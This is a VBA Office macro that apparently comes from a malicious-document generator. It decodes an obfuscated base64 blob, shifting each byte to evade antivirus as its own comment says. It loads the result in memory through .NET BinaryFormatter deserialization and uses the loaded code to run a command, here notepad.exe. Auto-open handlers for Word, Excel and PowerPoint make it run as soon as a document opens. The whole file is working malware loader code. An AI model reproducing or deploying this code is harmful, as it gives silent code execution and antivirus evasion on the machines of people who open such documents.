' Base64 decoder

Private Function obf_DecodeBase64(ByVal obf_EncodedData As String) As Byte()
    On Error GoTo obf_ProcError
    Dim obf_XmlDom, obf_XmlNode, obf_Decoded, obf_Counter
    Set obf_XmlDom = CreateObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set obf_XmlNode = obf_XmlDom.createElement("obf_someInternalName")
    obf_XmlNode.DataType = "bin.base64"
    obf_XmlNode.Text = obf_EncodedData
    obf_Decoded = obf_XmlNode.NodeTypedValue

    ' This for-loop adjusts each byte by adding +35 to evade AVs capable of
    ' base64-decoding in-the-fly
    For obf_Counter = LBound(obf_Decoded) To UBound(obf_Decoded)
        obf_Decoded(obf_Counter) = (obf_Decoded(obf_Counter) + 35) Mod 256
    Next
    obf_DecodeBase64 = obf_Decoded
    Exit Function
obf_ProcError:
End Function

Private Function obf_DecodeBaseText64(ByVal obf_EncodedData As String) As String
    Dim obf_temp() As Byte
    obf_temp = obf_DecodeBase64(obf_EncodedData)
    obf_DecodeBaseText64 = StrConv(obf_temp, vbUnicode)
End Function

Sub obf_LaunchCommand(ByVal obf_command As String)
    On Error GoTo obf_ProcError
    Dim obf_i, obf_entryClass
    Dim obf_stm As Object, obf_fmt As Object, obf_al As Object
    Dim obf_n As Object, obf_d As Object, obf_o As Object, obf_myobj As Object
    Dim obf_encoded As String
    Dim obf_bytes() As Byte
    Dim obf_code As String, obf_manifest As String
    
    obf_code = ""
        obf_encoded = ""
    obf_encoded = obf_encoded & "3d7d3d3c3Nzc3t3d3d3d3d3h3t3d3f8wVlBRQkoLIUJJQkQ+UUIwQk9GPklGVz5RRkxLJUxJQUJP4N3d3eUhQklCRD5RQuRRPk9EQlEN5EpCUUVMQQ3g4OANMFZQUUJKCyFC"
    obf_encoded = obf_encoded & "SUJEPlFCMEJPRj5JRlc+UUZMSyVMSUFCTwghQklCRD5RQiJLUU9W/zBWUFFCSgshQklCRD5RQjBCT0Y+SUZXPlFGTEslTElBQk8M"
    obf_encoded = obf_encoded & "MFZQUUJKCy9CQ0lCQFFGTEsLKkJKP0JPJktDTDBCT0Y+SUZXPlFGTEslTElBQk/m393d3ebg3d3d5uHd3d3h393d3Q0wVlBRQkoLIUJJQkQ+UUIwQk"
    obf_encoded = obf_encoded & "9GPklGVz5RRkxLJUxJQUJPCCFCSUJEPlFCIktRT1bk3d3d4VFWTULlPlBQQko/SVbjUT5PREJR71E+T0RCUTFWTUIeUFBCSj9JVutRPk9EQlExVk1CKz5KQudKQlFFTEErPkpC6kFCSUJEP"
    obf_encoded = obf_encoded & "lFCIktRT1be3t/e3t7gDTBWUFFCSgshQklCRD5RQjBCT0Y+SUZXPlFGTEslTElBQk8IIUJJQkQ+UUIiS1FPVuPi3d3dDDBWUFFCSgsvUktRRkpCCy9CSkxRRktECypCUFA+REZLRAslQj5BQ"
    obf_encoded = obf_encoded & "k8lPktBSUJP4+Pd3d0oSlBATE9JRj8J/TNCT1BGTEsaDwsNCw0LDQn9IFJJUVJPQhpLQlJRTz5JCf0tUj9JRkAoQlYxT"
    obf_encoded = obf_encoded & "EhCSxo/FBQ+EkASEw4WEBFCDRUW4+Td3d3kUT5PREJRDebj3d3d4+bd3d3sMFZQUUJKCyFCSUJEPlFC4+fd3d3qIVZLPkpGQCZLU0xIQufh4N3d3f8wVlBRQkoLIUJJQ"
    obf_encoded = obf_encoded & "kQ+UUIwQk9GPklGVz5RRkxLJUxJQUJP4N3d3eUhQklCRD5RQuRRPk9EQlEN5EpCUUVMQQ3g5OANMFZQUUJKCyFCSUJEPlFCMEJPRj5JRlc+UUZMSyVMSUFCTwg"
    obf_encoded = obf_encoded & "hQklCRD5RQiJLUU9W3wwwVlBRQkoLL0JDSUJAUUZMSwsqQko/Qk8mS0NMMEJPRj5JRlc+UUZMSyVMSUFCT+bo3d3d5und3d3m6t3d3eHh"
    obf_encoded = obf_encoded & "3d3dDDBWUFFCSgsvQkNJQkBRRkxLCypCSj9CTyZLQ0wwQk9GPklGVz5RRkxLJUxJQUJP493d3eErPkpC6R5QUEJKP0lWKz5KQuYgST5QUCs+"
    obf_encoded = obf_encoded & "SkLmMEZESz5RUk9C5ypCSj9CTzFWTULtJEJLQk9GQB5PRFJKQktRUN7e3t7d4OXqMFZQUUJKCzFWTUI4Oubn3d3d5uPd3d3m5t3d3ePu3d3dCTBWUFFCSgssP0dCQFH9IVZLPkpGQCZLU0xIQgU"
    obf_encoded = obf_encoded & "wVlBRQkoLLD9HQkBRODoG5d3d3efe6N3d3d/d3d3j793d3f0wVlBRQkoLNUpJCzBARUJKPgs1SkkzPklSQiRCUVFCT+Pw3d3dKjBWUFFCSgs1SkkJ"
    obf_encoded = obf_encoded & "/TNCT1BGTEsaDwsNCw0LDQn9IFJJUVJPQhpLQlJRTz5JCf0tUj9JRkAoQlYxTEhCSxo/FBQ+EkASEw4WEBFCDRUW4/Hd3d3kUT5PREJRDebj3d3d4/Pd3d33MFZQ"
    obf_encoded = obf_encoded & "UUJKCy9CQ0lCQFFGTEsLHlBQQko/SVbj9N3d3eEpTD5B5+zp3d3d3e3d3d8qN23d4N3d3eHd3d3c3N3dld3d3d3d3d0d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d1d3d3d6/yX692R5qr+ld4pqv4xRUZQ/U1PTERPPkr9QD5LS0xR/T9C/U9SS/1GS/0hLDD9SkxBQgvq6ucB3d3d3d3d3S0i3d0p3u"
    obf_encoded = obf_encoded & "Dd2/CfP93d3d3d3d3dvd3f/uje5d3d5d3d3ePd3d3d3d2LA93d3f3d3d0d3d3d3R3d3f3d3d3f3d3h3d3d3d3d3eHd3d3d3d3d3V3d3d3f3d3d3d3d4N"
    obf_encoded = obf_encoded & "0dYt3d7d3d7d3d3d3t3d3t3d3d3d3d7d3d3d3d3d3d3d3dNQPd3TDd3d3dHd3djd/d3d3d3d3d3d3d3d3d3d3d3d3dP"
    obf_encoded = obf_encoded & "d3d6d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d393d3l3d3d3d3d3d3d3d3l/d3dJd3d3d3d3d3d3d3dC1FCVVHd3d2R493d3f3d3d3l3d3d393d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d/d3dPQtPUE9A3d3djd/d3d0d3d3d4d3d3efd3d3d3d3d3d3d3d3d3R3d3R0LT0JJTEDd3end3d3dPd3d3d/d"
    obf_encoded = obf_encoded & "3d3r3d3d3d3d3d3d3d3d3d0d3d0f3d3d3d3d3d3d3d3d3d3d3W0D3d3d3d3dJd3d3d/d4t2l/t3dbeHd3d7d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dE98F4d3d5wXg3d3jAwf/4AXh3d3jAwfn9Afd3fAN4d0r3t"
    obf_encoded = obf_encoded & "3d3t3d7t8F4t3d5wnf8wff51Dj3d3n6OTjBeTd3edM5d3d5+TjBebd3edM593d50/e3d1N6ePzTOjd3ef8/x1n3d3d40/g3d1N9Ezp3d3n6"
    obf_encoded = obf_encoded & "ubyCzDk4/TmTOrd3ecF5N3d50zl3d3n5OP05kzq3d3nBebd3edM593d5+b1NeNM693d5xmY3d3d4+b1NUzo3d3n/P0diN3d3ePm9TVM7N3d5+kVe"
    obf_encoded = obf_encoded & "d3d3eTj9Ezs3d3nBeTd3edM5d3d5+Tj9Ezs3d3nBebd3edM593d5whT40/k3d1NTO3d3efyEPTjT+jd3U1M7d3d5/IQ5uMF7t3d5wP0B+NP5N3dTUzt3d3n8"
    obf_encoded = obf_encoded & "OHu4fILHOTj8+7hTOrd3ecF5N3d50zl3d3n5OPz7uFM6t3d5wXm3d3nTOfd3efu4fQ140zr3d3nDOjj7uH0NUzs3d3n6eTlTO/d3efkBfDd3ecD9Afd3R8wJx/e3d7d3"
    obf_encoded = obf_encoded & "d3d3end3d1TDwsNCxINFA8U3d3d3eLdSd3d3X3e3d0AW93d6d/d3bHe3d0AMFFPRktEUN3d3d294N3d7d3d3QAyMN3N4N3d7d3d3QAkMiYh3d3d3eHd3W3d3d0AH0lMP93d3d3"
    obf_encoded = obf_encoded & "d3d3f3d3eJPLf3ebd3d3d194Q3fPd3d7d3d3l3d3d393d3eHd3d3f3d3d8N3d3eDd3d3e3d3d3t3d3d/d3d3d3efd3t3d3d3d490d3Rbd491h3UHd492B3UHd493"
    obf_encoded = obf_encoded & "K3avd493m3hbd590O3vve490p3h/e592U3vve3d3d3d7d3d3d3d7d3t3e3e3d993/3eLd3t3e3S393d3d3WP1JN3n3d7dO/3d3d3dY90q3evd3t1E/d3d3d1z3Tnd8N3f3Un93d3d3X"
    obf_encoded = obf_encoded & "PdOd303d/d3d3e3d7e3d3e3d7e7t0k3fnd9t0k3efd/t0k3f7d5t0k3efdBt3t3vTdDt0k3efdFt0u3gndDt063uvdFt1H3gndDt1Y3uvdBt1t3g7d"
    obf_encoded = obf_encoded & "Bt133hPdBt1/3hndBt2J3h/dBt1/3iPdBt133ijdHt2c3i3dDt2i3uvdHt2c3jPdC93o3UPdC93w3UzdIN343QPdOt3hXd3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d2f3d3d393d3d3d3d3d3d3d3t0N3d3d3d3f3d3d3d3d3d3d3d3e3Rbd3d3d3d3d3RkqTEFSSUIb3VFKTVEUEUVKTkNTC0FJSd0xPkcfUiJ"
    obf_encoded = obf_encoded & "U3UBKLh5LUUslSD9FUzfdSlBATE9JRj/dMFZQUUJK3Sw/R0JAUd0LQFFMT90oUydLVDVCREElJlIkLd0iVUJAUlFC3TBWUFFCSgsvUktRRkpCCyB"
    obf_encoded = obf_encoded & "MSk1GSUJPMEJPU0ZAQlDdIExKTUZJPlFGTEsvQkk+VT5RRkxLUB5RUU9GP1JRQt0vUktRRkpCIExKTT5RRj9GSUZRVh5RUU9G"
    obf_encoded = obf_encoded & "P1JRQt1RSk1RFBFFSk5DU90wVlBRQkoLL1JLUUZKQgsmS1FCT0xNMEJPU0ZAQlDdIExKM0ZQRj9JQh5RUU9GP1JRQt1ATEpK"
    obf_encoded = obf_encoded & "PktB3TBRT0ZLRN0mUCtSSUksTyJKTVFW3TBWUFFCSgshRj5ES0xQUUZAUN0tT0xAQlBQMFE+T1EmS0NM3TBWUFFCSgsmLN0tPlFF3SRCUSNGSUIrPkpC3VBCUTwjRklCKz5KQt0kQlEhRk9CQFFMT1"
    obf_encoded = obf_encoded & "YrPkpC3VBCUTw0TE9IRktEIUZPQkBRTE9W3URCUTwgRT5PUN0mS0FCVSxD3TBSP1BRT0ZLRN1EQlE8KUJLRFFF3S1PTEBCUFDdMFE+T1HdUEJRPB5PRFJKQkt"
    obf_encoded = obf_encoded & "RUN3d3d7d4P/d3eD93d3gOd3d3W7ZNU1qndAgmozJQs4Jcv3d5ZRXOTP2Eb1m4P3d3uH93t7r4N3d3+Hd3t/r4f3e3uXh/d7e3+Le3d7d3eHd3uvr4f3e4O"
    obf_encoded = obf_encoded & "Xi/d/l6+Xi/d/r5eXg/d3l4f3e6+Xh/d7l6+Ld3u/+6+Pd3u/+7/bl5OLr7/br5eXl3t3l3d3d3d373t3e3THf8zRPPk0rTEsiVUBCTVFGTEsxRU9MVFDe3d1dA93d3d3d"
    obf_encoded = obf_encoded & "3d3d3d17A93d3f3d3d3d3d3d3d3d3d3d3d3d3d3d3d3dbQPd3d3d3d3d3d3d3d3d3d3dPCBMTyFJSSo+RkvdSlBATE9CQgtBSUnd3d3d3dwC3f0"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3e3e3d3d"
    obf_encoded = obf_encoded & "313d1d3d3d3d3d3d3d3d3d3d3e3d7d3d0N3d1d3d3d3d3d3d3d3d3d3d3e3d3d3d0l3d3dNR3d3THf3d3d3d3d3d3d3THfEd3d3TPdMN083TPdIt0v3TDdJt0s3SvdPN0m3SvdI90s3d3d3d2"
    obf_encoded = obf_encoded & "a4czb3d3e3d3d3d3d3d3d3d3d3d3d3d0c3d3d3d3d3eHd3d3f3d3d3d3d3d3d3d3d3d3dId3d3d7dM90+3U/dI91G3UndQt0m3UvdQ91M3d3d3d0B"
    obf_encoded = obf_encoded & "3eHd3d0x3U/dPt1L3VDdSd0+3VHdRt1M3Uvd3d3d3d3djeGR3t3d3t0w3VHdT91G3UvdRN0j3UbdSd1C3SbdS91D3Uzd3d1t3t3d3t0N3Q3dDd0N3Q3dEd0/3Q3d3d0J3d/d3t0j3UbdS"
    obf_encoded = obf_encoded & "d1C3SHdQt1Q3UDdT91G3U3dUd1G3UzdS93d3d3d/d3d3Q3d5d3e3SPdRt1J3ULdM91C3U/dUN1G3UzdS93d3d3dDd0L3Q3dC90N3QvdD"
    obf_encoded = obf_encoded & "d3d3R3d7d3e3SbdS91R3ULdT91L3T7dSd0r3T7dSt1C3d3dUd1K3U3dUd0U3RHdRd1K3U7dQ91T3QvdQd1J3Und3d0F3d/d3t0p3ULdRN0+3UndIN"
    obf_encoded = obf_encoded & "1M3U3dVt1P3UbdRN1F3VHd3d393d3dJd3t3d7dLN1P3UbdRN1G3UvdPt1J3SPdRt1J3ULdS90+3UrdQt3d3VHdSt1N3VHdFN0R3UXdSt1O3UPdU90L3U"
    obf_encoded = obf_encoded & "HdSd1J3d3dEd3l3d7dLd1P3UzdQd1S3UDdUd0z3ULdT91Q3UbdTN1L3d3dDd0L3Q3dC90N3QvdDd3d3RXd5d3e3R7dUN1Q3ULdSt0/3UndVt393TPdQt1P3VDdRt1M3U"
    obf_encoded = obf_encoded & "vd3d0N3QvdDd0L3Q3dC90N3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d393d3p3d3djRPd3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3"
    obf_encoded = obf_encoded & "d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d"
    obf_encoded = obf_encoded & "3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3d3urd3d3h"
    obf_encoded = obf_encoded & "3d3d5vTd3d3m493d3ebz3d3d4/fd3d0EMFZQUUJKCy9CQ0lCQFFGTEsLHlBQQko/SVb9KUw+QQUfVlFCODoG5d3d3efo"
    obf_code = obf_DecodeBaseText64(obf_encoded)
    
    obf_bytes = StrConv(obf_code, vbFromUnicode)

    obf_entryClass = "cmQAntnHkbhvZ.TajBuEw"

    Set obf_fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
    Set obf_al = CreateObject("System.Collections.ArrayList")
    Set obf_stm = CreateObject("System.IO.MemoryStream")

    For Each obf_i In obf_bytes
        obf_stm.WriteByte obf_i
    Next obf_i

    obf_stm.Position = 0

    'Set obf_n = obf_fmt.SurrogateSelector
    Set obf_d = obf_fmt.Deserialize_2(obf_stm)
    obf_al.Add obf_n

    Set obf_o = obf_d.DynamicInvoke(obf_al.ToArray())
    Set obf_myobj = obf_o.CreateInstance(obf_entryClass)

    obf_myobj.KvJnwXegdHIuGP obf_command

obf_ProcError:
End Sub

Sub obf_GeneratorEntryPoint()
    On Error GoTo obf_ProcError
    Dim obf_code
    obf_code = ""
    

    obf_LaunchCommand "notepad.exe"

obf_ProcError:
End Sub

Sub obf_MacroEntryPoint()
    On Error Resume Next

    
    obf_GeneratorEntryPoint
    
End Sub

Sub Workbook_Open()
    ' Becomes launched as second, another try, on MS Excel
    obf_MacroEntryPoint
End Sub

Sub Document_Open()
    ' Becomes launched as second, another try, on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub Auto_Open()
    ' Becomes launched as first on MS Excel
    obf_MacroEntryPoint
End Sub

Sub AutoOpen()
    ' Becomes launched as first on MS Word / Publisher
    obf_MacroEntryPoint
End Sub

Sub OnPowerPoint()
    obf_MacroEntryPoint
End Sub